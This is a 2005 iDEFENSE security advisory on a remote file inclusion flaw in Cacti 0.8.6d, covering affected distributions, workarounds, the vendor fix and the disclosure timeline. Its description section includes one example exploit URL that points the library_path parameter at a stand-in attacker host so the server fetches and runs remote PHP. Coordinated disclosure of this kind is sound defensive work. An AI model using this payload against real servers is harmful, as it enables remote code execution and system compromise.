Public Vulnerability Reports

Multiple Vendor Cacti Remote File Inclusion Vulnerability

06.22.05

BACKGROUND

Cacti is a round-robin database (RRD) tool that helps create graphs from
database information and is available on multiple Linux distributions.

DESCRIPTION

Cacti contains an input validation error in the top_graph_header.php
script that allows an attacker to include arbitrary PHP code from remote
sites. This in effect allows arbitrary code execution with the
privileges of the web server. The vulnerability specifically exists due
to the script trusting a user supplied library_path variable. The
following example demonstrates how this might be exploited:

http://example.com/path_of_cacti/include/top_graph_header.php?config[library_path]=http://attackersite.com/

In this way, the files http://attackersite.com/include/html_tree.php
and http://attackersite.com/include/rrd.php will be included and
executed on the vulnerable server.

ANALYSIS

Successful exploitation of this vulnerability allows a remote attacker
to gain shell access with the privileges of the web server. An attacker
can then attempt to escalate privileges using local exploits, possibly
allowing a full root compromise.

DETECTION

iDEFENSE has confirmed the existence of this vulnerability on Cacti
0.8.6d. Earlier versions are suspected vulnerable. The following vendors
include susceptible Cacti packages within their respective operating
system distributions:

 The FreeBSD Project
 Gentoo Foundation
 Novell Inc. (SuSE)

Debian also includes a package for Cacti, however, it is an older,
unaffected version.

WORKAROUND

Require authentication to access the Cacti installation. Restrict access
to web servers using Cacti to only trusted hosts.

VENDOR RESPONSE

Cacti 0.8.6e has been released to address this vulnerability and is
available for download at:

   http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
   or
   http://www.cacti.net/downloads/cacti-0.8.6e.zip

Release notes for Cacti 0.8.6e can be found at:

   http://www.cacti.net/release_notes_0_8_6e.php

CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1524 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

DISCLOSURE TIMELINE

05/12/2005   Initial vendor notification
05/12/2005   Initial vendor response
06/22/2005   Coordinated public disclosure

CREDIT

Maciej Piotr Falkiewicz and an anonymous researcher are credited with
this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

LEGAL NOTICES

Copyright © 2005 Verisign, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.